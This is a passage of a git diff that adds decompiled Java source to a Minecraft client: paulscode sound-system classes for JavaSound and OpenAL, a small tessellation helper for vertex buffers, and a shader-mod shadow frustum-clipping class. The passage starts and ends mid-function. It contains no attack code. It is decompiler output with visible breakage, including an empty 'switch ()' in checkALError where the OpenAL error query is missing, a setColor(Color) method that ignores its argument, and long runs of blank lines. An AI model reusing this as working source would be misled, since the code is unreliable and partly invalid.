+      gain = 1.0F;
+    if (gain < 0.0F) {
+      gain = 0.0F;
+    }
+    gain *= sourceVolume * SoundSystemConfig.getMasterGain() * Math.abs(fadeOutGain) * fadeInGain;
+    
+
+
+    if ((channel != null) && (channel.attachedSource == this) && (channelJavaSound != null))
+    {
+      channelJavaSound.setGain(gain);
+    }
+  }
+  
+
+
+
+  public void calculatePan()
+  {
+    Vector3D side = listener.up.cross(listener.lookAt);
+    side.normalize();
+    float x = position.dot(position.subtract(listener.position), side);
+    float z = position.dot(position.subtract(listener.position), listener.lookAt);
+    
+    side = null;
+    float angle = (float)Math.atan2(x, z);
+    pan = ((float)-Math.sin(angle));
+    
+    if ((channel != null) && (channel.attachedSource == this) && (channelJavaSound != null))
+    {
+
+      if (attModel == 0) {
+        channelJavaSound.setPan(0.0F);
+      } else {
+        channelJavaSound.setPan(pan);
+      }
+    }
+  }
+  
+
+
+
+  public void calculatePitch()
+  {
+    if ((channel != null) && (channel.attachedSource == this) && (channelJavaSound != null))
+    {
+
+
+      if (SoundSystemConfig.getDopplerFactor() == 0.0F)
+      {
+        channelJavaSound.setPitch(pitch);
+      }
+      else
+      {
+        float SS = 343.3F;
+        
+        Vector3D SV = velocity;
+        Vector3D LV = listener.velocity;
+        float DV = SoundSystemConfig.getDopplerVelocity();
+        float DF = SoundSystemConfig.getDopplerFactor();
+        Vector3D SL = listener.position.subtract(position);
+        
+        float vls = SL.dot(LV) / SL.length();
+        float vss = SL.dot(SV) / SL.length();
+        
+        vss = min(vss, SS / DF);
+        vls = min(vls, SS / DF);
+        float newPitch = pitch * (SS * DV - DF * vls) / (SS * DV - DF * vss);
+        
+
+        if (newPitch < 0.5F) {
+          newPitch = 0.5F;
+        } else if (newPitch > 2.0F) {
+          newPitch = 2.0F;
+        }
+        channelJavaSound.setPitch(newPitch);
+      }
+    }
+  }
+  
+  public float min(float a, float b)
+  {
+    if (a < b)
+      return a;
+    return b;
+  }
+}
diff --git a/src/minecraft/paulscode/sound/libraries/SourceLWJGLOpenAL.java b/src/minecraft/paulscode/sound/libraries/SourceLWJGLOpenAL.java
new file mode 100644
index 0000000..c4059a0
--- /dev/null
+++ b/src/minecraft/paulscode/sound/libraries/SourceLWJGLOpenAL.java
@@ -0,0 +1,800 @@
+package paulscode.sound.libraries;
+
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.util.LinkedList;
+import javax.sound.sampled.AudioFormat;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.openal.AL10;
+import paulscode.sound.Channel;
+import paulscode.sound.FilenameURL;
+import paulscode.sound.ICodec;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.Source;
+import paulscode.sound.Vector3D;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SourceLWJGLOpenAL
+  extends Source
+{
+  private ChannelLWJGLOpenAL channelOpenAL = (ChannelLWJGLOpenAL)channel;
+  
+
+
+
+
+
+
+
+  private IntBuffer myBuffer;
+  
+
+
+
+
+
+
+
+  private FloatBuffer listenerPosition;
+  
+
+
+
+
+
+
+
+  private FloatBuffer sourcePosition;
+  
+
+
+
+
+
+
+
+  private FloatBuffer sourceVelocity;
+  
+
+
+
+
+
+
+
+  public SourceLWJGLOpenAL(FloatBuffer listenerPosition, IntBuffer myBuffer, boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, SoundBuffer soundBuffer, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    super(priority, toStream, toLoop, sourcename, filenameURL, soundBuffer, x, y, z, attModel, distOrRoll, temporary);
+    
+    if (codec != null)
+      codec.reverseByteOrder(true);
+    this.listenerPosition = listenerPosition;
+    this.myBuffer = myBuffer;
+    libraryType = LibraryLWJGLOpenAL.class;
+    pitch = 1.0F;
+    resetALInformation();
+  }
+  
+
+
+
+
+
+
+
+
+  public SourceLWJGLOpenAL(FloatBuffer listenerPosition, IntBuffer myBuffer, Source old, SoundBuffer soundBuffer)
+  {
+    super(old, soundBuffer);
+    if (codec != null)
+      codec.reverseByteOrder(true);
+    this.listenerPosition = listenerPosition;
+    this.myBuffer = myBuffer;
+    libraryType = LibraryLWJGLOpenAL.class;
+    pitch = 1.0F;
+    resetALInformation();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SourceLWJGLOpenAL(FloatBuffer listenerPosition, AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    super(audioFormat, priority, sourcename, x, y, z, attModel, distOrRoll);
+    
+    this.listenerPosition = listenerPosition;
+    libraryType = LibraryLWJGLOpenAL.class;
+    pitch = 1.0F;
+    resetALInformation();
+  }
+  
+
+
+
+
+
+  public void cleanup()
+  {
+    super.cleanup();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void changeSource(FloatBuffer listenerPosition, IntBuffer myBuffer, boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, SoundBuffer soundBuffer, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    super.changeSource(priority, toStream, toLoop, sourcename, filenameURL, soundBuffer, x, y, z, attModel, distOrRoll, temporary);
+    
+
+    this.listenerPosition = listenerPosition;
+    this.myBuffer = myBuffer;
+    pitch = 1.0F;
+    resetALInformation();
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean incrementSoundSequence()
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'incrementSoundSequence' may only be used for streaming sources.");
+      
+      return false;
+    }
+    synchronized (soundSequenceLock)
+    {
+      if ((soundSequenceQueue != null) && (soundSequenceQueue.size() > 0))
+      {
+        filenameURL = ((FilenameURL)soundSequenceQueue.remove(0));
+        if (codec != null)
+          codec.cleanup();
+        codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+        if (codec != null)
+        {
+          codec.reverseByteOrder(true);
+          if (codec.getAudioFormat() == null) {
+            codec.initialize(filenameURL.getURL());
+          }
+          AudioFormat audioFormat = codec.getAudioFormat();
+          
+          if (audioFormat == null)
+          {
+            errorMessage("Audio Format null in method 'incrementSoundSequence'");
+            
+            return false;
+          }
+          
+          int soundFormat = 0;
+          if (audioFormat.getChannels() == 1)
+          {
+            if (audioFormat.getSampleSizeInBits() == 8)
+            {
+              soundFormat = 4352;
+            }
+            else if (audioFormat.getSampleSizeInBits() == 16)
+            {
+              soundFormat = 4353;
+            }
+            else
+            {
+              errorMessage("Illegal sample size in method 'incrementSoundSequence'");
+              
+              return false;
+            }
+          }
+          else if (audioFormat.getChannels() == 2)
+          {
+            if (audioFormat.getSampleSizeInBits() == 8)
+            {
+              soundFormat = 4354;
+            }
+            else if (audioFormat.getSampleSizeInBits() == 16)
+            {
+              soundFormat = 4355;
+            }
+            else
+            {
+              errorMessage("Illegal sample size in method 'incrementSoundSequence'");
+              
+              return false;
+            }
+          }
+          else
+          {
+            errorMessage("Audio data neither mono nor stereo in method 'incrementSoundSequence'");
+            
+            return false;
+          }
+          
+
+          channelOpenAL.setFormat(soundFormat, (int)audioFormat.getSampleRate());
+          
+          preLoad = true;
+        }
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  public void listenerMoved()
+  {
+    positionChanged();
+  }
+  
+
+
+
+
+
+
+
+  public void setPosition(float x, float y, float z)
+  {
+    super.setPosition(x, y, z);
+    
+
+    if (sourcePosition == null) {
+      resetALInformation();
+    } else {
+      positionChanged();
+    }
+    
+    sourcePosition.put(0, x);
+    sourcePosition.put(1, y);
+    sourcePosition.put(2, z);
+    
+
+    if ((channel != null) && (channel.attachedSource == this) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+
+      AL10.alSource(channelOpenAL.ALSource.get(0), 4100, sourcePosition);
+      
+      checkALError();
+    }
+  }
+  
+
+
+
+
+  public void positionChanged()
+  {
+    calculateDistance();
+    calculateGain();
+    
+    if ((channel != null) && (channel.attachedSource == this) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+      AL10.alSourcef(channelOpenAL.ALSource.get(0), 4106, gain * sourceVolume * Math.abs(fadeOutGain) * fadeInGain);
+      
+
+
+      checkALError();
+    }
+    checkPitch();
+  }
+  
+
+
+
+  private void checkPitch()
+  {
+    if ((channel != null) && (channel.attachedSource == this) && (LibraryLWJGLOpenAL.alPitchSupported()) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+
+      AL10.alSourcef(channelOpenAL.ALSource.get(0), 4099, pitch);
+      
+      checkALError();
+    }
+  }
+  
+
+
+
+
+
+  public void setLooping(boolean lp)
+  {
+    super.setLooping(lp);
+    
+
+    if ((channel != null) && (channel.attachedSource == this) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+      if (lp) {
+        AL10.alSourcei(channelOpenAL.ALSource.get(0), 4103, 1);
+      }
+      else {
+        AL10.alSourcei(channelOpenAL.ALSource.get(0), 4103, 0);
+      }
+      checkALError();
+    }
+  }
+  
+
+
+
+
+
+  public void setAttenuation(int model)
+  {
+    super.setAttenuation(model);
+    
+    if ((channel != null) && (channel.attachedSource == this) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+
+      if (model == 1) {
+        AL10.alSourcef(channelOpenAL.ALSource.get(0), 4129, distOrRoll);
+      }
+      else {
+        AL10.alSourcef(channelOpenAL.ALSource.get(0), 4129, 0.0F);
+      }
+      checkALError();
+    }
+  }
+  
+
+
+
+
+
+
+  public void setDistOrRoll(float dr)
+  {
+    super.setDistOrRoll(dr);
+    
+    if ((channel != null) && (channel.attachedSource == this) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+
+      if (attModel == 1) {
+        AL10.alSourcef(channelOpenAL.ALSource.get(0), 4129, dr);
+      }
+      else {
+        AL10.alSourcef(channelOpenAL.ALSource.get(0), 4129, 0.0F);
+      }
+      checkALError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public void setVelocity(float x, float y, float z)
+  {
+    super.setVelocity(x, y, z);
+    
+    sourceVelocity = BufferUtils.createFloatBuffer(3).put(new float[] { x, y, z });
+    
+    sourceVelocity.flip();
+    
+    if ((channel != null) && (channel.attachedSource == this) && (channelOpenAL != null) && (channelOpenAL.ALSource != null))
+    {
+
+      AL10.alSource(channelOpenAL.ALSource.get(0), 4102, sourceVelocity);
+      
+      checkALError();
+    }
+  }
+  
+
+
+
+
+
+  public void setPitch(float value)
+  {
+    super.setPitch(value);
+    checkPitch();
+  }
+  
+
+
+
+
+
+  public void play(Channel c)
+  {
+    if (!active())
+    {
+      if (toLoop)
+        toPlay = true;
+      return;
+    }
+    
+    if (c == null)
+    {
+      errorMessage("Unable to play source, because channel was null");
+      return;
+    }
+    
+    boolean newChannel = channel != c;
+    if ((channel != null) && (channel.attachedSource != this)) {
+      newChannel = true;
+    }
+    boolean wasPaused = paused();
+    
+    super.play(c);
+    
+    channelOpenAL = ((ChannelLWJGLOpenAL)channel);
+    
+
+
+    if (newChannel)
+    {
+      setPosition(position.x, position.y, position.z);
+      checkPitch();
+      
+
+      if ((channelOpenAL != null) && (channelOpenAL.ALSource != null))
+      {
+        if (LibraryLWJGLOpenAL.alPitchSupported())
+        {
+          AL10.alSourcef(channelOpenAL.ALSource.get(0), 4099, pitch);
+          
+          checkALError();
+        }
+        AL10.alSource(channelOpenAL.ALSource.get(0), 4100, sourcePosition);
+        
+        checkALError();
+        
+        AL10.alSource(channelOpenAL.ALSource.get(0), 4102, sourceVelocity);
+        
+
+        checkALError();
+        
+        if (attModel == 1) {
+          AL10.alSourcef(channelOpenAL.ALSource.get(0), 4129, distOrRoll);
+        }
+        else {
+          AL10.alSourcef(channelOpenAL.ALSource.get(0), 4129, 0.0F);
+        }
+        checkALError();
+        
+        if ((toLoop) && (!toStream)) {
+          AL10.alSourcei(channelOpenAL.ALSource.get(0), 4103, 1);
+        }
+        else {
+          AL10.alSourcei(channelOpenAL.ALSource.get(0), 4103, 0);
+        }
+        checkALError();
+      }
+      if (!toStream)
+      {
+
+
+        if (myBuffer == null)
+        {
+          errorMessage("No sound buffer to play");
+          return;
+        }
+        
+        channelOpenAL.attachBuffer(myBuffer);
+      }
+    }
+    
+
+    if (!playing())
+    {
+      if ((toStream) && (!wasPaused))
+      {
+        if (codec == null)
+        {
+          errorMessage("Decoder null in method 'play'");
+          return;
+        }
+        if (codec.getAudioFormat() == null) {
+          codec.initialize(filenameURL.getURL());
+        }
+        AudioFormat audioFormat = codec.getAudioFormat();
+        
+        if (audioFormat == null)
+        {
+          errorMessage("Audio Format null in method 'play'");
+          return;
+        }
+        
+        int soundFormat = 0;
+        if (audioFormat.getChannels() == 1)
+        {
+          if (audioFormat.getSampleSizeInBits() == 8)
+          {
+            soundFormat = 4352;
+          }
+          else if (audioFormat.getSampleSizeInBits() == 16)
+          {
+            soundFormat = 4353;
+          }
+          else
+          {
+            errorMessage("Illegal sample size in method 'play'");
+          }
+          
+        }
+        else if (audioFormat.getChannels() == 2)
+        {
+          if (audioFormat.getSampleSizeInBits() == 8)
+          {
+            soundFormat = 4354;
+          }
+          else if (audioFormat.getSampleSizeInBits() == 16)
+          {
+            soundFormat = 4355;
+          }
+          else
+          {
+            errorMessage("Illegal sample size in method 'play'");
+          }
+          
+        }
+        else
+        {
+          errorMessage("Audio data neither mono nor stereo in method 'play'");
+          
+          return;
+        }
+        
+
+        channelOpenAL.setFormat(soundFormat, (int)audioFormat.getSampleRate());
+        
+        preLoad = true;
+      }
+      channel.play();
+      if (pitch != 1.0F) {
+        checkPitch();
+      }
+    }
+  }
+  
+
+
+
+
+  public boolean preLoad()
+  {
+    if (codec == null) {
+      return false;
+    }
+    codec.initialize(filenameURL.getURL());
+    LinkedList<byte[]> preLoadBuffers = new LinkedList();
+    for (int i = 0; i < SoundSystemConfig.getNumberStreamingBuffers(); i++)
+    {
+      soundBuffer = codec.read();
+      
+      if ((soundBuffer == null) || (soundBuffer.audioData == null)) {
+        break;
+      }
+      preLoadBuffers.add(soundBuffer.audioData);
+    }
+    positionChanged();
+    
+    channel.preLoadBuffers(preLoadBuffers);
+    
+    preLoad = false;
+    return true;
+  }
+  
+
+
+
+
+  private void resetALInformation()
+  {
+    sourcePosition = BufferUtils.createFloatBuffer(3).put(new float[] { position.x, position.y, position.z });
+    
+    sourceVelocity = BufferUtils.createFloatBuffer(3).put(new float[] { velocity.x, velocity.y, velocity.z });
+    
+
+
+    sourcePosition.flip();
+    sourceVelocity.flip();
+    
+    positionChanged();
+  }
+  
+
+
+
+  private void calculateDistance()
+  {
+    if (listenerPosition != null)
+    {
+
+      double dX = position.x - listenerPosition.get(0);
+      double dY = position.y - listenerPosition.get(1);
+      double dZ = position.z - listenerPosition.get(2);
+      distanceFromListener = ((float)Math.sqrt(dX * dX + dY * dY + dZ * dZ));
+    }
+  }
+  
+
+
+
+
+
+  private void calculateGain()
+  {
+    if (attModel == 2)
+    {
+      if (distanceFromListener <= 0.0F)
+      {
+        gain = 1.0F;
+      }
+      else if (distanceFromListener >= distOrRoll)
+      {
+        gain = 0.0F;
+      }
+      else
+      {
+        gain = (1.0F - distanceFromListener / distOrRoll);
+      }
+      if (gain > 1.0F)
+        gain = 1.0F;
+      if (gain < 0.0F) {
+        gain = 0.0F;
+      }
+    }
+    else {
+      gain = 1.0F;
+    }
+  }
+  
+
+
+
+
+  private boolean checkALError()
+  {
+    switch ()
+    {
+    case 0: 
+      return false;
+    case 40961: 
+      errorMessage("Invalid name parameter.");
+      return true;
+    case 40962: 
+      errorMessage("Invalid parameter.");
+      return true;
+    case 40963: 
+      errorMessage("Invalid enumerated parameter value.");
+      return true;
+    case 40964: 
+      errorMessage("Illegal call.");
+      return true;
+    case 40965: 
+      errorMessage("Unable to allocate memory.");
+      return true;
+    }
+    errorMessage("An unrecognized error occurred.");
+    return true;
+  }
+}
diff --git a/src/minecraft/pw/knx/feather/tessellate/BasicTess.java b/src/minecraft/pw/knx/feather/tessellate/BasicTess.java
new file mode 100644
index 0000000..bb401ac
--- /dev/null
+++ b/src/minecraft/pw/knx/feather/tessellate/BasicTess.java
@@ -0,0 +1,195 @@
+package pw.knx.feather.tessellate;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import org.lwjgl.opengl.GL11;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicTess
+  implements Tessellation
+{
+  int index;
+  int[] raw;
+  ByteBuffer buffer;
+  FloatBuffer fBuffer;
+  IntBuffer iBuffer;
+  private int colors;
+  private float texU;
+  private float texV;
+  private boolean color;
+  private boolean texture;
+  
+  BasicTess(int capacity)
+  {
+    capacity *= 6;
+    raw = new int[capacity];
+    buffer = ByteBuffer.allocateDirect(capacity * 4).order(ByteOrder.nativeOrder());
+    fBuffer = buffer.asFloatBuffer();
+    iBuffer = buffer.asIntBuffer();
+  }
+  
+
+
+
+  public Tessellation setColor(int color)
+  {
+    this.color = true;
+    colors = color;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public Tessellation setTexture(float u, float v)
+  {
+    texture = true;
+    texU = u;
+    texV = v;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Tessellation addVertex(float x, float y, float z)
+  {
+    int dex = index * 6;
+    raw[dex] = Float.floatToRawIntBits(x);
+    raw[(dex + 1)] = Float.floatToRawIntBits(y);
+    raw[(dex + 2)] = Float.floatToRawIntBits(z);
+    raw[(dex + 3)] = colors;
+    raw[(dex + 4)] = Float.floatToRawIntBits(texU);
+    raw[(dex + 5)] = Float.floatToRawIntBits(texV);
+    index += 1;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public Tessellation bind()
+  {
+    int dex = index * 6;
+    iBuffer.put(raw, 0, dex);
+    buffer.position(0);
+    buffer.limit(dex * 4);
+    if (color) {
+      buffer.position(12);
+      GL11.glColorPointer(4, true, 24, buffer);
+    }
+    if (texture) {
+      fBuffer.position(4);
+      GL11.glTexCoordPointer(2, 24, fBuffer);
+    }
+    fBuffer.position(0);
+    GL11.glVertexPointer(3, 24, fBuffer);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Tessellation pass(int mode)
+  {
+    GL11.glDrawArrays(mode, 0, index);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public Tessellation unbind()
+  {
+    iBuffer.position(0);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public Tessellation reset()
+  {
+    iBuffer.clear();
+    index = 0;
+    color = false;
+    texture = false;
+    return this;
+  }
+}
diff --git a/src/minecraft/pw/knx/feather/tessellate/ExpandingTess.java b/src/minecraft/pw/knx/feather/tessellate/ExpandingTess.java
new file mode 100644
index 0000000..c41d0eb
--- /dev/null
+++ b/src/minecraft/pw/knx/feather/tessellate/ExpandingTess.java
@@ -0,0 +1,81 @@
+package pw.knx.feather.tessellate;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ExpandingTess
+  extends BasicTess
+{
+  private final float ratio;
+  private final float factor;
+  
+  ExpandingTess(int initial, float ratio, float factor)
+  {
+    super(initial);
+    this.ratio = ratio;
+    this.factor = factor;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Tessellation addVertex(float x, float y, float z)
+  {
+    int capacity = raw.length;
+    if (index * 6 >= capacity * ratio) {
+      capacity = (int)(capacity * factor);
+      int[] newBuffer = new int[capacity];
+      System.arraycopy(raw, 0, newBuffer, 0, raw.length);
+      raw = newBuffer;
+      buffer = ByteBuffer.allocateDirect(capacity * 4).order(ByteOrder.nativeOrder());
+      
+
+      iBuffer = buffer.asIntBuffer();
+      fBuffer = buffer.asFloatBuffer();
+    }
+    return super.addVertex(x, y, z);
+  }
+}
diff --git a/src/minecraft/pw/knx/feather/tessellate/Tessellation.java b/src/minecraft/pw/knx/feather/tessellate/Tessellation.java
new file mode 100644
index 0000000..5a0043a
--- /dev/null
+++ b/src/minecraft/pw/knx/feather/tessellate/Tessellation.java
@@ -0,0 +1,144 @@
+package pw.knx.feather.tessellate;
+
+import java.awt.Color;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Tessellation
+{
+  public abstract Tessellation setColor(int paramInt);
+  
+  public Tessellation setColor(Color color)
+  {
+    return setColor(new Color(255, 255, 255));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract Tessellation setTexture(float paramFloat1, float paramFloat2);
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract Tessellation addVertex(float paramFloat1, float paramFloat2, float paramFloat3);
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract Tessellation bind();
+  
+
+
+
+
+
+
+
+
+
+  public abstract Tessellation pass(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+  public abstract Tessellation reset();
+  
+
+
+
+
+
+
+
+
+
+  public abstract Tessellation unbind();
+  
+
+
+
+
+
+
+
+
+
+  public Tessellation draw(int mode)
+  {
+    return bind().pass(mode).reset();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Tessellation createBasic(int size)
+  {
+    return new BasicTess(size);
+  }
+  
+
+
+
+
+
+
+
+  public static Tessellation createExpanding(int size, float ratio, float factor)
+  {
+    return new ExpandingTess(size, ratio, factor);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ClippingHelperShadow.java b/src/minecraft/shadersmod/client/ClippingHelperShadow.java
new file mode 100644
index 0000000..0ef26c9
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ClippingHelperShadow.java
@@ -0,0 +1,319 @@
+package shadersmod.client;
+
+import net.minecraft.client.renderer.culling.ClippingHelper;
+import net.minecraft.util.MathHelper;
+
+public class ClippingHelperShadow extends ClippingHelper
+{
+  private static ClippingHelperShadow instance = new ClippingHelperShadow();
+  float[] frustumTest = new float[6];
+  float[][] shadowClipPlanes = new float[10][4];
+  int shadowClipPlaneCount;
+  float[] matInvMP = new float[16];
+  float[] vecIntersection = new float[4];
+  
+
+  public ClippingHelperShadow() {}
+  
+  public boolean isBoxInFrustum(double x1, double y1, double z1, double x2, double y2, double z2)
+  {
+    for (int index = 0; index < shadowClipPlaneCount; index++)
+    {
+      float[] plane = shadowClipPlanes[index];
+      
+      if ((dot4(plane, x1, y1, z1) <= 0.0D) && (dot4(plane, x2, y1, z1) <= 0.0D) && (dot4(plane, x1, y2, z1) <= 0.0D) && (dot4(plane, x2, y2, z1) <= 0.0D) && (dot4(plane, x1, y1, z2) <= 0.0D) && (dot4(plane, x2, y1, z2) <= 0.0D) && (dot4(plane, x1, y2, z2) <= 0.0D) && (dot4(plane, x2, y2, z2) <= 0.0D))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  private double dot4(float[] plane, double x, double y, double z)
+  {
+    return plane[0] * x + plane[1] * y + plane[2] * z + plane[3];
+  }
+  
+  private double dot3(float[] vecA, float[] vecB)
+  {
+    return vecA[0] * vecB[0] + vecA[1] * vecB[1] + vecA[2] * vecB[2];
+  }
+  
+  public static ClippingHelper getInstance()
+  {
+    instance.init();
+    return instance;
+  }
+  
+  private void normalizePlane(float[] plane)
+  {
+    float length = MathHelper.sqrt_float(plane[0] * plane[0] + plane[1] * plane[1] + plane[2] * plane[2]);
+    plane[0] /= length;
+    plane[1] /= length;
+    plane[2] /= length;
+    plane[3] /= length;
+  }
+  
+  private void normalize3(float[] plane)
+  {
+    float length = MathHelper.sqrt_float(plane[0] * plane[0] + plane[1] * plane[1] + plane[2] * plane[2]);
+    
+    if (length == 0.0F)
+    {
+      length = 1.0F;
+    }
+    
+    plane[0] /= length;
+    plane[1] /= length;
+    plane[2] /= length;
+  }
+  
+  private void assignPlane(float[] plane, float a, float b, float c, float d)
+  {
+    float length = (float)Math.sqrt(a * a + b * b + c * c);
+    plane[0] = (a / length);
+    plane[1] = (b / length);
+    plane[2] = (c / length);
+    plane[3] = (d / length);
+  }
+  
+  private void copyPlane(float[] dst, float[] src)
+  {
+    dst[0] = src[0];
+    dst[1] = src[1];
+    dst[2] = src[2];
+    dst[3] = src[3];
+  }
+  
+  private void cross3(float[] out, float[] a, float[] b)
+  {
+    out[0] = (a[1] * b[2] - a[2] * b[1]);
+    out[1] = (a[2] * b[0] - a[0] * b[2]);
+    out[2] = (a[0] * b[1] - a[1] * b[0]);
+  }
+  
+  private void addShadowClipPlane(float[] plane)
+  {
+    copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], plane);
+  }
+  
+  private float length(float x, float y, float z)
+  {
+    return (float)Math.sqrt(x * x + y * y + z * z);
+  }
+  
+  private float distance(float x1, float y1, float z1, float x2, float y2, float z2)
+  {
+    return length(x1 - x2, y1 - y2, z1 - z2);
+  }
+  
+  private void makeShadowPlane(float[] shadowPlane, float[] positivePlane, float[] negativePlane, float[] vecSun)
+  {
+    cross3(vecIntersection, positivePlane, negativePlane);
+    cross3(shadowPlane, vecIntersection, vecSun);
+    normalize3(shadowPlane);
+    float dotPN = (float)dot3(positivePlane, negativePlane);
+    float dotSN = (float)dot3(shadowPlane, negativePlane);
+    float disSN = distance(shadowPlane[0], shadowPlane[1], shadowPlane[2], negativePlane[0] * dotSN, negativePlane[1] * dotSN, negativePlane[2] * dotSN);
+    float disPN = distance(positivePlane[0], positivePlane[1], positivePlane[2], negativePlane[0] * dotPN, negativePlane[1] * dotPN, negativePlane[2] * dotPN);
+    float k1 = disSN / disPN;
+    float dotSP = (float)dot3(shadowPlane, positivePlane);
+    float disSP = distance(shadowPlane[0], shadowPlane[1], shadowPlane[2], positivePlane[0] * dotSP, positivePlane[1] * dotSP, positivePlane[2] * dotSP);
+    float disNP = distance(negativePlane[0], negativePlane[1], negativePlane[2], positivePlane[0] * dotPN, positivePlane[1] * dotPN, positivePlane[2] * dotPN);
+    float k2 = disSP / disNP;
+    shadowPlane[3] = (positivePlane[3] * k1 + negativePlane[3] * k2);
+  }
+  
+  public void init()
+  {
+    float[] matPrj = field_178625_b;
+    float[] matMdv = field_178626_c;
+    float[] matMP = clippingMatrix;
+    System.arraycopy(Shaders.faProjection, 0, matPrj, 0, 16);
+    System.arraycopy(Shaders.faModelView, 0, matMdv, 0, 16);
+    SMath.multiplyMat4xMat4(matMP, matMdv, matPrj);
+    assignPlane(frustum[0], matMP[3] - matMP[0], matMP[7] - matMP[4], matMP[11] - matMP[8], matMP[15] - matMP[12]);
+    assignPlane(frustum[1], matMP[3] + matMP[0], matMP[7] + matMP[4], matMP[11] + matMP[8], matMP[15] + matMP[12]);
+    assignPlane(frustum[2], matMP[3] + matMP[1], matMP[7] + matMP[5], matMP[11] + matMP[9], matMP[15] + matMP[13]);
+    assignPlane(frustum[3], matMP[3] - matMP[1], matMP[7] - matMP[5], matMP[11] - matMP[9], matMP[15] - matMP[13]);
+    assignPlane(frustum[4], matMP[3] - matMP[2], matMP[7] - matMP[6], matMP[11] - matMP[10], matMP[15] - matMP[14]);
+    assignPlane(frustum[5], matMP[3] + matMP[2], matMP[7] + matMP[6], matMP[11] + matMP[10], matMP[15] + matMP[14]);
+    float[] vecSun = Shaders.shadowLightPositionVector;
+    float test0 = (float)dot3(frustum[0], vecSun);
+    float test1 = (float)dot3(frustum[1], vecSun);
+    float test2 = (float)dot3(frustum[2], vecSun);
+    float test3 = (float)dot3(frustum[3], vecSun);
+    float test4 = (float)dot3(frustum[4], vecSun);
+    float test5 = (float)dot3(frustum[5], vecSun);
+    shadowClipPlaneCount = 0;
+    
+    if (test0 >= 0.0F)
+    {
+      copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[0]);
+      
+      if (test0 > 0.0F)
+      {
+        if (test2 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[0], frustum[2], vecSun);
+        }
+        
+        if (test3 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[0], frustum[3], vecSun);
+        }
+        
+        if (test4 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[0], frustum[4], vecSun);
+        }
+        
+        if (test5 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[0], frustum[5], vecSun);
+        }
+      }
+    }
+    
+    if (test1 >= 0.0F)
+    {
+      copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[1]);
+      
+      if (test1 > 0.0F)
+      {
+        if (test2 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[1], frustum[2], vecSun);
+        }
+        
+        if (test3 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[1], frustum[3], vecSun);
+        }
+        
+        if (test4 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[1], frustum[4], vecSun);
+        }
+        
+        if (test5 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[1], frustum[5], vecSun);
+        }
+      }
+    }
+    
+    if (test2 >= 0.0F)
+    {
